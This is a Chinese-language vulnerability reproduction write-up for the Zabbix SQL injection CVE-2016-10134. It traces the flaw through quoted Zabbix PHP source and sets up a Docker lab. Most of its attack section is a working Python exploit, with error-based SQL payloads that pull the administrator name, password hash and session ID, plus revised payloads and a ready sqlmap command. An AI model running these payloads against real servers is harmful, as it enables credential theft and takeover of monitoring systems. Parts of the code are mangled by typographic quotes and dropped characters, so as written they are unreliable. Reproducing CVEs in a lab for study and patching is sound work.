Skip to the content.

复现漏洞系列

第二篇、Zabbix sql注入漏洞复现(CVE-2016-10134)

一、 介绍

1.1 简介

zabbix([`zæbiks])是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。
zabbix能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。
zabbix由2部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能,它可以运行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平台上。

1.2 bug影响

zabbix 2.2.x, 3.0.0-3.0.3版本存在
截止2021-09-11 已经更新到5.0

1.3 漏洞原因

SQL注入漏洞,攻击者无需授权登陆即可登陆zabbix管理系统,进入后台后script等功能直接获取zabbix服务器的操作系统权限。

1.4 复现要求

$page[‘title’] = ‘RPC’; $page[‘file’] = ‘jsrpc.php’; $page[‘type’] = detect_page_type($requestType);

require_once dirname(FILE).’/include/page_header.php’;

if (!is_array($data) || !isset($data[‘method’]) || ($requestType == PAGE_TYPE_JSON && (!isset($data[‘params’]) || !is_array($data[‘params’])))) { fatal_error(‘Wrong RPC call to JS RPC!’); }

$result = []; switch ($data[‘method’]) { case ‘host.get’: $result = API::Host()->get([ ‘startSearch’ => true, ‘search’ => $data[‘params’][‘search’], ‘output’ => [‘hostid’, ‘host’, ‘name’], ‘sortfield’ => ‘name’, ‘limit’ => 15 ]); break; #代码省略 case ‘zabbix.status’: CSession::start(); if (!CSession::keyExists(‘serverCheckResult’) || (CSession::getValue(‘serverCheckTime’) + SERVER_CHECK_INTERVAL) <= time()) { $zabbixServer = new CZabbixServer($ZBX_SERVER, $ZBX_SERVER_PORT, ZBX_SOCKET_TIMEOUT, 0); CSession::setValue(‘serverCheckResult’, $zabbixServer->isRunning()); CSession::setValue(‘serverCheckTime’, time()); }

	$result = [
		'result' => (bool) CSession::getValue('serverCheckResult'),
		'message' => CSession::getValue('serverCheckResult')
			? ''
			: _('Zabbix server is not running: the information displayed may not be current.')
	];
	break;

case 'screen.get':
	$result = '';
    #传入具体注入数据位置---$data
	$screenBase = CScreenBuilder::getScreen($data);
	if ($screenBase !== null) {
		$screen = $screenBase->get();

		if ($data['mode'] == SCREEN_MODE_JS) {
			$result = $screen;
		}
		else {
			if (is_object($screen)) {
				$result = $screen->toString();
			}
		}
	}
	break;
    #代码省略

require_once dirname(FILE).’/include/page_footer.php’;

继续跟踪zabbix/include/classes/screens/CScreenBuilder.php路径下的此文件,查看注入数据的具体流向

/** * Get particular screen object. * * @static * * @param array $options * @param int $options[‘resourcetype’] * @param int $options[‘screenitemid’] * @param int $options[‘hostid’] * @param array $options[‘screen’] * @param int $options[‘screenid’] * * @return CScreenBase */ public static function getScreen(array $options = []) { if (!array_key_exists(‘resourcetype’, $options)) { $options[‘resourcetype’] = null;

		// get resourcetype from screenitem
		if (!array_key_exists('screenitem', $options) && array_key_exists('screenitemid', $options)) {
			if (array_key_exists('hostid', $options) && $options['hostid'] > 0) {
				$options['screenitem'] = API::TemplateScreenItem()->get([
					'screenitemids' => $options['screenitemid'],
					'hostids' => $options['hostid'],
					'output' => API_OUTPUT_EXTEND
				]);
			}
			else {
				$options['screenitem'] = API::ScreenItem()->get([
					'screenitemids' => $options['screenitemid'],
					'output' => API_OUTPUT_EXTEND
				]);
			}
			$options['screenitem'] = reset($options['screenitem']);
		}

		if (array_key_exists('screenitem', $options) && array_key_exists('resourcetype', $options['screenitem'])) {
			$options['resourcetype'] = $options['screenitem']['resourcetype'];
		}
	}

	if ($options['resourcetype'] === null) {
		return null;
	}
    后续代码省略 ```   通过此处代码对后面需要进行insert的对象进行封装,之后jsrpc.php 中引入的page_footer.php会调用zabbix/include/classes/user/CProfile.php类,组装成实际的sql语句 ```
private static function insertDB($idx, $value, $type, $idx2) {
	$value_type = self::getFieldByType($type);

	$values = [
		'profileid' => get_dbid('profiles', 'profileid'),
		'userid' => self::$userDetails['userid'],
		'idx' => zbx_dbstr($idx),
		$value_type => zbx_dbstr($value),
		'type' => $type,
		'idx2' => $idx2
	];
    #实际注入sql的生成
	return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')');
} ```

二、复现

1 模拟环境

通过docker-compose.yml可知zabbix相关端口

得到 ports:

- "8080:80" # 当然也可以通过 netstat 查询 ``` * 查看部署情况   通过宿主机进行打开     攻击机已知靶机ip,且靶机系统未关闭默认开启guest账户登陆

image

2.bug使用

import urllib.request, urllib.error, urllib.parse import sys, os import re

def deteck_Sql(): ‘检查是否存在 SQL 注入’ payload = “jsrpc.php?sid=8251b8db1104896e&type=9&method=screen.get&timestamp=1631376194000&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999’&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1” try: response = urllib.request.urlopen(url + payload, timeout=10).read() except Exception as msg: print(msg) else: key_reg = re.compile(r”INSERT\sINTO\sprofiles”) if key_reg.findall(response.decode(‘utf-8’)): return True

def sql_Inject(sql): ‘获取特定sql语句内容’ payload = url + “jsrpc.php?sid=8251b8db1104896e&type=9&method=screen.get&timestamp=1631376194000&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=” + urllib.parse.quote( sql) + “&updateProfile=true&screenitemid=&period=3600&stime=20210911050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1” try: response = urllib.request.urlopen(payload, timeout=10).read() except Exception as msg: print(msg) else: result_reg = re.compile(r”Duplicate\sentry\s’~(.+?)~1”) results = result_reg.findall(response.decode(‘utf-8’)) if results: return results[0]

if name == ‘main’: # os.system([‘clear’, ‘cls’][os.name == ‘nt’]) print(‘+’ + ‘-‘ * 60 + ‘+’) print(‘\t Python Zabbix < 3.0.4 SQL 注入 Exploit’) print(‘+’ + ‘-‘ * 60 + ‘+’) if len(sys.argv) != 2: print(‘用法: ‘ + os.path.basename(sys.argv[0]) + ‘ [Zabbix Server Web 后台 URL]’) print(‘实例: ‘ + os.path.basename(sys.argv[0]) + ‘ http://jaminzhang.github.io’) sys.exit() url = sys.argv[1] if url[-1] != ‘/’: url += ‘/’ passwd_sql = “(select 1 from(select count(),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)” session_sql = “(select 1 from(select count(),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)” if deteck_Sql(): print(‘Zabbix 存在 SQL 注入漏洞!\n’) print(‘管理员 用户名密码:%s’ % sql_Inject(passwd_sql)) print(‘管理员 Session_id:%s’ % sql_Inject(session_sql)) else: print(‘Zabbix 不存在 SQL 注入漏洞!\n’)


* 成功执行后如图
  ![image](../image/security/zabbix_py.png)
  之后即可通过对应用户名密码登录(Admin)
  mysql中加入用户为:
  ![image](../image/security/zabbix_mysql.png)
  登录后如;
  ![image](../image/security/zabbix_logSU.png)
至此漏洞应用成功



### 修复建议

升级版本补丁

在WAF上过滤相关命令,建立对应安全规则


### 三、后续出现问题
在经过后面进行重复使用时发现之前的代码失效了,需要进行总是查询,经过重新进行注入sql调整,重新可以使用,对sql修改为如下:  

passwd_sql = “(select concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x limit 0,1)” session_sql = “(select concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x limit 0,1)”

方法中的正则修改为:        key_reg = re.compile(r"INSERT\s*INTO\s*profiles")  

当在注入点发生异常时,可以尝试通过其他手段进行自动注入,如:使用sqlmap对可能出现注入异常的位置进行自动分析,可以进行快速的问题发现,具体sqlmap执行此漏洞的命令如下:

sqlmap -u ‘http://localhost:8080//jsrpc.php?sid=0ccd4ade848214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2%273297&updateProfile=true&screenitemid=&period=3600&stime=20170817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1’ –password ```